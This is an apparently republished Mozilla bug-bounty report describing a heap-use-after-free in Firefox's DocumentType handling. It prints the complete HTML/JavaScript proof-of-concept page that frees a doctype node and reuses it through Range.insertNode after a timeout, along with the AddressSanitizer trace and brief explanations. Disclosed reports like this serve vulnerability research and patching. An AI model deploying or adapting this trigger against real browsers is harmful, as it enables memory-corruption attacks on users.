Skip to content
Memory corruption Disclosed report Advanced

DocumentType heap-use-after-free

A crafted HTML page causes a heap-use-after-free in Firefox's DocumentType handling: a document type node is freed by the cycle collector and then read again when a Range operation runs after a timeout. An attacker could crash the browser, and the memory corruption could potentially be exploited for code execution.

lipe Follow

Originally disclosed on Mozilla

Critical View original
  • Fixed in 12 days
  • Paid in 45 days
  • Disclosed after 12 days

User Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0 Build ID: 20171005171938

Steps to reproduce:

Opening the following html file causes the free and reuse of the object right after the timeout seconds.

Tested on a Nightly ASAN BuildID: 20171005171938 Linux x64.

<!DOCTYPE html> <html> <head> <script type="text/javascript">

function trigger() {

var range = new Range(); var p = document.createElement("p"); range.insertNode(p);

}

function test() { for (var p in document) { typeof(document[p]); }

var doc = document.implementation.createDocument(null, 'xml', null); doc.load(""); var str = new XMLSerializer().serializeToString(doc); document.write(str);

setTimeout(trigger, 10000); }

</script> </head> <body onload="test()"> </body> </html>

Actual results:

================================================================= ==30496==ERROR: AddressSanitizer: heap-use-after-free on address 0x60f0003bde80 at pc 0x7effd6f8f8e2 bp 0x7fff39e80b20 sp 0x7fff39e80b18 READ of size 8 at 0x60f0003bde80 thread T0 #0 0x7effd6f8f8e1 in CallQueryInterface<nsINode, nsIDOMNode> /home/worker/workspace/build/src/obj-firefox/dist/include/nsISupportsUtils.h:134:19 #1 0x7effd6f8f8e1 in nsParentNodeChildContentList::Item(unsigned int, nsIDOMNode**) /home/worker/workspace/build/src/dom/base/FragmentOrElement.cpp:624 #2 0x7effd72eaca6 in nsRange::InsertNode(nsINode&, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/base/nsRange.cpp:2815:23 #3 0x7effd7c3b6fe in mozilla::dom::RangeBinding::insertNode(JSContext*, JS::Handle<JSObject*>, nsRange*, JSJitMethodCallArgs const&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/RangeBinding.cpp:1048:9 #4 0x7effd8c338d0 in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3053:13 #5 0x7effdf2618c4 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15 #6 0x7effdf2618c4 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:469 #7 0x7effdf24b368 in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:520:12 #8 0x7effdf24b368 in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3065 #9 0x7effdf232a9b in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:409:12 #10 0x7effdf261a5c in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:487:15 #11 0x7effdf2623b2 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:533:10 #12 0x7effdfcae19b in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /home/worker/workspace/build/src/js/src/jsapi.cpp:2951:12 #13 0x7effd87bf389 in mozilla::dom::Function::Call(JSContext*, JS::HandleJS::Value, nsTArrayJS::Value const&, JS::MutableHandleJS::Value, mozilla::ErrorResult&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/FunctionBinding.cpp:36:8 #14 0x7effd6e98b5d in Call<nsCOMPtr<nsISupports> > /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/FunctionBinding.h:72:12 #15 0x7effd6e98b5d in nsGlobalWindow::RunTimeoutHandler(mozilla::dom::Timeout*, nsIScriptContext*) /home/worker/workspace/build/src/dom/base/nsGlobalWindow.cpp:13196 #16 0x7effd7068644 in mozilla::dom::TimeoutManager::RunTimeout(mozilla::TimeStamp const&, mozilla::TimeStamp const&) /home/worker/workspace/build/src/dom/base/TimeoutManager.cpp:868:42 #17 0x7effd705d320 in mozilla::dom::TimeoutExecutor::MaybeExecute() /home/worker/workspace/build/src/dom/base/TimeoutExecutor.cpp:167:11 #18 0x7effd705db76 in Notify /home/worker/workspace/build/src/dom/base/TimeoutExecutor.cpp:235:5 #19 0x7effd705db76 in non-virtual thunk to mozilla::dom::TimeoutExecutor::Notify(nsITimer*) /home/worker/workspace/build/src/dom/base/TimeoutExecutor.cpp:230 #20 0x7effd4645760 in nsTimerImpl::Fire(int) /home/worker/workspace/build/src/xpcom/threads/nsTimerImpl.cpp:517:40 #21 0x7effd4644e74 in nsTimerEvent::Run() /home/worker/workspace/build/src/xpcom/threads/TimerThread.cpp:286:11 #22 0x7effd46689bc in mozilla::ThrottledEventQueue::Inner::ExecuteRunnable() /home/worker/workspace/build/src/xpcom/threads/ThrottledEventQueue.cpp:193:22 #23 0x7effd466844f in mozilla::ThrottledEventQueue::Inner::Executor::Run() /home/worker/workspace/build/src/xpcom/threads/ThrottledEventQueue.cpp:79:15 #24 0x7effd465539d in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1040:14 #25 0x7effd465a728 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:521:10 #26 0x7effd53e8e96 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:125:5 #27 0x7effd534a29b in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #28 0x7effd534a29b in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #29 0x7effd534a29b in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #30 0x7effdaa8976f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:158:27 #31 0x7effdeb91791 in nsAppStartup::Run() /home/worker/workspace/build/src/toolkit/components/startup/nsAppStartup.cpp:288:30 #32 0x7effded72dc4 in XREMain::XRE_mainRun() /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4646:22 #33 0x7effded749c8 in XREMain::XRE_main(int, char**, mozilla::BootstrapConfig const&) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4810:8 #34 0x7effded75dfb in XRE_main(int, char**, mozilla::BootstrapConfig const&) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4905:21 #35 0x4eb643 in do_main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:236:22 #36 0x4eb643 in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:309 #37 0x7efff17d77cf in __libc_start_main (/lib64/libc.so.6+0x207cf) #38 0x41d198 in _start (/home/smbshare/sftp/firelux/firefox/nightly/firefox-bin+0x41d198)

0x60f0003bde80 is located 0 bytes inside of 176-byte region [0x60f0003bde80,0x60f0003bdf30) freed by thread T0 here: #0 0x4bb6cb in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:47:3 #1 0x7effd44f6657 in SnowWhiteKiller::~SnowWhiteKiller() /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2695:25 #2 0x7effd4500d54 in FreeSnowWhite /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2883:3 #3 0x7effd4500d54 in nsCycleCollector_doDeferredDeletion() /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4267 #4 0x7effd5dca223 in AsyncFreeSnowWhite::Run() /home/worker/workspace/build/src/js/xpconnect/src/XPCJSRuntime.cpp:126:34 #5 0x7effd466a2bf in IdleRunnableWrapper::Run() /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:345:22 #6 0x7effd465539d in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1040:14 #7 0x7effd465a728 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:521:10 #8 0x7effd53e8ea1 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21 #9 0x7effd534a29b in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #10 0x7effd534a29b in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #11 0x7effd534a29b in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #12 0x7effdaa8976f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:158:27 #13 0x7effdeb91791 in nsAppStartup::Run() /home/worker/workspace/build/src/toolkit/components/startup/nsAppStartup.cpp:288:30 #14 0x7effded72dc4 in XREMain::XRE_mainRun() /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4646:22 #15 0x7effded749c8 in XREMain::XRE_main(int, char**, mozilla::BootstrapConfig const&) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4810:8 #16 0x7effded75dfb in XRE_main(int, char**, mozilla::BootstrapConfig const&) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4905:21 #17 0x4eb643 in do_main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:236:22 #18 0x4eb643 in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:309 #19 0x7efff17d77cf in __libc_start_main (/lib64/libc.so.6+0x207cf)

previously allocated by thread T0 here: #0 0x4bba1c in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64:3 #1 0x4ecf3d in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17 #2 0x7effd6f4ec81 in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:200:12 #3 0x7effd6f4ec81 in NS_NewDOMDocumentType(nsNodeInfoManager*, nsIAtom*, nsAString const&, nsAString const&, nsAString const&, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/base/DocumentType.cpp:56 #4 0x7effd6f4ea59 in NS_NewDOMDocumentType(nsIDOMDocumentType**, nsNodeInfoManager*, nsIAtom*, nsAString const&, nsAString const&, nsAString const&) /home/worker/workspace/build/src/dom/base/DocumentType.cpp:31:15 #5 0x7effd61c0c16 in nsHtml5TreeOperation::AppendDoctypeToDocument(nsIAtom*, nsAString const&, nsAString const&, nsHtml5DocumentBuilder*) /home/worker/workspace/build/src/parser/html/nsHtml5TreeOperation.cpp:680:3 #6 0x7effd61c8534 in nsHtml5TreeOperation::Perform(nsHtml5TreeOpExecutor*, nsIContent**, bool*) /home/worker/workspace/build/src/parser/html/nsHtml5TreeOperation.cpp:896:14 #7 0x7effd61c4892 in nsHtml5TreeOpExecutor::RunFlushLoop() /home/worker/workspace/build/src/parser/html/nsHtml5TreeOpExecutor.cpp:465:27 #8 0x7effd61cebfb in nsHtml5ExecutorFlusher::Run() /home/worker/workspace/build/src/parser/html/nsHtml5StreamParser.cpp:128:20 #9 0x7effd465539d in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1040:14 #10 0x7effd465a728 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:521:10 #11 0x7effd53e8ea1 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21 #12 0x7effd534a29b in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #13 0x7effd534a29b in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #14 0x7effd534a29b in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #15 0x7effdaa8976f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:158:27 #16 0x7effdeb91791 in nsAppStartup::Run() /home/worker/workspace/build/src/toolkit/components/startup/nsAppStartup.cpp:288:30 #17 0x7effded72dc4 in XREMain::XRE_mainRun() /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4646:22 #18 0x7effded749c8 in XREMain::XRE_main(int, char**, mozilla::BootstrapConfig const&) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4810:8 #19 0x7effded75dfb in XRE_main(int, char**, mozilla::BootstrapConfig const&) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4905:21 #20 0x4eb643 in do_main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:236:22 #21 0x4eb643 in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:309 #22 0x7efff17d77cf in __libc_start_main (/lib64/libc.so.6+0x207cf)

SUMMARY: AddressSanitizer: heap-use-after-free /home/worker/workspace/build/src/obj-firefox/dist/include/nsISupportsUtils.h:134:19 in CallQueryInterface<nsINode, nsIDOMNode> Shadow bytes around the buggy address: 0x0c1e8006fb80: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa 0x0c1e8006fb90: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd 0x0c1e8006fba0: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa 0x0c1e8006fbb0: fa fa fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c1e8006fbc0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa =>0x0c1e8006fbd0:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c1e8006fbe0: fd fd fd fd fd fd fa fa fa fa fa fa fa fa 00 00 0x0c1e8006fbf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c1e8006fc00: 00 00 03 fa fa fa fa fa fa fa fa fa 00 00 00 00 0x0c1e8006fc10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c1e8006fc20: 00 00 fa fa fa fa fa fa fa fa fd fd fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==30496==ABORTING

The original report as published on Mozilla's Bugzilla, by lipe. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the document type node was released by the cycle collector while a reference to it was still held, so a later Range.insertNode call read freed memory.

Impact

The page crashes the browser through memory corruption, which could potentially be exploited to run code, though the report only demonstrates a crash under AddressSanitizer.

What the attacker needed

Victim opens a crafted HTML page; JavaScript enabled

How it was found

  1. Load a page whose onload handler runs a script.
  2. The script creates a new XML document, loads an empty string into it, serialises it and writes the result into the page.
  3. After a ten-second timeout, a function creates a Range and inserts a new paragraph element into it.
  4. The browser then reads the already-freed document type node and AddressSanitizer reports a heap-use-after-free.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web browser stores parts of a page in memory and frees them when they are no longer needed. Here the browser freed a piece of the page (the document type declaration) but a later script action still tried to use it, which is called a use-after-free. This can crash the browser and, in the worst case, let an attacker run their own code.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by lipe

View all

3 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.